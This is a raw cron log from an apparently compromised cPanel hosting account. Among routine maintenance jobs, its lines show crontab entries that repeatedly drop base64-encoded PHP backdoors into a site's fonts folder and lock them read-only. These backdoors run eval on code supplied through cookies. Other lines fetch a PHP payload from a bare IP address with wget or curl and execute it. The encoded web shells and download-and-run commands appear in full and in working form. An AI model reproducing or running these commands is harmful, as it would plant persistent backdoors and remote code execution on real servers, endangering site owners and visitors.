Sep  5 05:57:01 ip-184-168-122-23 CROND[20792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:57:01 ip-184-168-122-23 CROND[20794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:58:01 ip-184-168-122-23 CROND[20933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:58:01 ip-184-168-122-23 CROND[20937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:58:01 ip-184-168-122-23 CROND[20940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:58:01 ip-184-168-122-23 CROND[20938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:58:01 ip-184-168-122-23 CROND[20939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:59:01 ip-184-168-122-23 CROND[21064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:59:01 ip-184-168-122-23 CROND[21065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:59:01 ip-184-168-122-23 CROND[21067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:59:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:00:01 ip-184-168-122-23 CROND[21195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:00:01 ip-184-168-122-23 CROND[21199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21201]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 06:00:01 ip-184-168-122-23 CROND[21204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:01:01 ip-184-168-122-23 CROND[21314]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21314]: starting 0anacron
Sep  5 06:01:01 ip-184-168-122-23 CROND[21323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:01:01 ip-184-168-122-23 CROND[21324]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21325]: finished 0anacron
Sep  5 06:01:01 ip-184-168-122-23 CROND[21329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:01:01 ip-184-168-122-23 CROND[21328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:01:01 ip-184-168-122-23 CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:02:01 ip-184-168-122-23 CROND[21494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:02:01 ip-184-168-122-23 CROND[21496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:02:01 ip-184-168-122-23 CROND[21498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:02:01 ip-184-168-122-23 CROND[21501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:02:01 ip-184-168-122-23 CROND[21502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:03:01 ip-184-168-122-23 CROND[21639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:03:01 ip-184-168-122-23 CROND[21636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:03:01 ip-184-168-122-23 CROND[21638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:03:01 ip-184-168-122-23 CROND[21637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:04:01 ip-184-168-122-23 CROND[21734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:04:01 ip-184-168-122-23 CROND[21738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:04:01 ip-184-168-122-23 CROND[21739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:04:01 ip-184-168-122-23 CROND[21740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:04:01 ip-184-168-122-23 CROND[21741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:05:01 ip-184-168-122-23 CROND[21875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:05:01 ip-184-168-122-23 CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:06:01 ip-184-168-122-23 CROND[22110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:06:01 ip-184-168-122-23 CROND[22113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:06:01 ip-184-168-122-23 CROND[22114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:06:01 ip-184-168-122-23 CROND[22115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:06:01 ip-184-168-122-23 CROND[22112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:07:01 ip-184-168-122-23 CROND[22218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:07:01 ip-184-168-122-23 CROND[22220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:07:01 ip-184-168-122-23 CROND[22222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:07:01 ip-184-168-122-23 CROND[22223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:08:02 ip-184-168-122-23 CROND[22342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:08:02 ip-184-168-122-23 CROND[22341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:08:02 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:08:02 ip-184-168-122-23 CROND[22345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:08:02 ip-184-168-122-23 CROND[22346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
